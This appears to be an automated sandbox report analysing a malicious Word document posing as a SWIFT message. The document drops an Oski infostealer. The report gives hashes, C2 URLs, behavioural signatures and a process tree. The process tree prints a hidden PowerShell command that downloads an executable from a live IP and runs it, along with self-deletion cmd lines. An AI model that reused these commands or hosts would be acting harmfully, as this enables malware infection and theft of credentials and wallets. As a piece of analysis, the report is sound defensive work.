Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7v20210410 -
submitted
03/08/2021, 08:37
Static task
static1
Behavioral task
behavioral1
Sample
swift_message_723-18-22-78_2-8-2021.doc
Resource
win7v20210410
Behavioral task
behavioral2
Sample
swift_message_723-18-22-78_2-8-2021.doc
Resource
win10v20210408
General
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Target
swift_message_723-18-22-78_2-8-2021.doc
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Size
229KB
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MD5
078124cc194f4e22437feffa2d8d5db4
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SHA1
ceb5ca93af0a7504d60cd42257d7f8dd6c22e0c8
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SHA256
77155eda52a852b224133d31047ff1aae08e915e1d7b664d326f2867647ef42d
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SHA512
13aca0b9b0403869946e98a36e64e68288bac7a9cfc542c9b985dd4fabd004a50f68d553258e7b4d963e887bac359f88e9fe38079b2c4a270cad75807625c3c0
Malware Config
Extracted
httP://185.230.160.197/yoyo/texts.exe
Extracted
oski
http://2.56.59.226/www/
Signatures
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Oski
Oski is an infostealer targeting browser data, crypto wallets.
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Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1064 1728 powershell.exe 21 Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1508 1728 powershell.exe 21 Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1832 1728 powershell.exe 21 -
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
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suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
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Blocklisted process makes network request 1 IoCs
flow pid Process 7 1064 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 6 IoCs
pid Process 752 texts.exe 512 texts.exe 1028 texts.exe 612 texts.exe 1488 texts.exe 1200 texts.exe -
Loads dropped DLL 16 IoCs
pid Process 1064 powershell.exe 612 texts.exe 612 texts.exe 612 texts.exe 1488 texts.exe 1488 texts.exe 1488 texts.exe 1488 texts.exe 1488 texts.exe 612 texts.exe 612 texts.exe 1200 texts.exe 1200 texts.exe 1200 texts.exe 1200 texts.exe 1200 texts.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 512 set thread context of 612 512 texts.exe 43 PID 752 set thread context of 1488 752 texts.exe 44 PID 1028 set thread context of 1200 1028 texts.exe 52 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Office loads VBA resources, possible macro or embedded object present
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString texts.exe -
Kills process with taskkill 3 IoCs
pid Process 1680 taskkill.exe 1064 taskkill.exe 1508 taskkill.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1728 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1064 powershell.exe 1064 powershell.exe 1508 powershell.exe 1832 powershell.exe 1508 powershell.exe 1832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1064 powershell.exe Token: SeDebugPrivilege 1508 powershell.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeDebugPrivilege 1064 taskkill.exe Token: SeDebugPrivilege 1680 taskkill.exe Token: SeDebugPrivilege 1508 taskkill.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1728 WINWORD.EXE 1728 WINWORD.EXE 1728 WINWORD.EXE 1728 WINWORD.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1728 wrote to memory of 1064 1728 WINWORD.EXE 31 PID 1728 wrote to memory of 1064 1728 WINWORD.EXE 31 PID 1728 wrote to memory of 1064 1728 WINWORD.EXE 31 PID 1728 wrote to memory of 1064 1728 WINWORD.EXE 31 PID 1064 wrote to memory of 752 1064 powershell.exe 33 PID 1064 wrote to memory of 752 1064 powershell.exe 33 PID 1064 wrote to memory of 752 1064 powershell.exe 33 PID 1064 wrote to memory of 752 1064 powershell.exe 33 PID 1728 wrote to memory of 1508 1728 WINWORD.EXE 34 PID 1728 wrote to memory of 1508 1728 WINWORD.EXE 34 PID 1728 wrote to memory of 1508 1728 WINWORD.EXE 34 PID 1728 wrote to memory of 1508 1728 WINWORD.EXE 34 PID 1728 wrote to memory of 1832 1728 WINWORD.EXE 36 PID 1728 wrote to memory of 1832 1728 WINWORD.EXE 36 PID 1728 wrote to memory of 1832 1728 WINWORD.EXE 36 PID 1728 wrote to memory of 1832 1728 WINWORD.EXE 36 PID 1832 wrote to memory of 512 1832 powershell.exe 39 PID 1832 wrote to memory of 512 1832 powershell.exe 39 PID 1832 wrote to memory of 512 1832 powershell.exe 39 PID 1832 wrote to memory of 512 1832 powershell.exe 39 PID 1508 wrote to memory of 1028 1508 powershell.exe 38 PID 1508 wrote to memory of 1028 1508 powershell.exe 38 PID 1508 wrote to memory of 1028 1508 powershell.exe 38 PID 1508 wrote to memory of 1028 1508 powershell.exe 38 PID 1728 wrote to memory of 996 1728 WINWORD.EXE 42 PID 1728 wrote to memory of 996 1728 WINWORD.EXE 42 PID 1728 wrote to memory of 996 1728 WINWORD.EXE 42 PID 1728 wrote to memory of 996 1728 WINWORD.EXE 42 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 512 wrote to memory of 612 512 texts.exe 43 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 752 wrote to memory of 1488 752 texts.exe 44 PID 1488 wrote to memory of 1316 1488 texts.exe 48 PID 1488 wrote to memory of 1316 1488 texts.exe 48 PID 1488 wrote to memory of 1316 1488 texts.exe 48 PID 1488 wrote to memory of 1316 1488 texts.exe 48 PID 612 wrote to memory of 1708 612 texts.exe 45 PID 612 wrote to memory of 1708 612 texts.exe 45 PID 612 wrote to memory of 1708 612 texts.exe 45 PID 612 wrote to memory of 1708 612 texts.exe 45 PID 1316 wrote to memory of 1064 1316 cmd.exe 50 PID 1316 wrote to memory of 1064 1316 cmd.exe 50 PID 1316 wrote to memory of 1064 1316 cmd.exe 50 PID 1316 wrote to memory of 1064 1316 cmd.exe 50 PID 1708 wrote to memory of 1680 1708 cmd.exe 49 PID 1708 wrote to memory of 1680 1708 cmd.exe 49 PID 1708 wrote to memory of 1680 1708 cmd.exe 49 PID 1708 wrote to memory of 1680 1708 cmd.exe 49
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\swift_message_723-18-22-78_2-8-2021.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1064 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:752 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1488 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1488 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\417960329582405\\* & exit5⤵
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 14886⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1064
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1028 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1200 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 1200 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\520344037163558\\* & exit5⤵PID:1640
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C:\Windows\SysWOW64\taskkill.exetaskkill /pid 12006⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1508
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://185.230.160.197/yoyo/texts.exe','C:\Users\Admin\AppData\Roaming\texts.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\texts.exe'"2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Users\Admin\AppData\Roaming\texts.exe"C:\Users\Admin\AppData\Roaming\texts.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:612 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 612 & erase C:\Users\Admin\AppData\Roaming\texts.exe & RD /S /Q C:\\ProgramData\\417960329582405\\* & exit5⤵
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 6126⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1680
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:996
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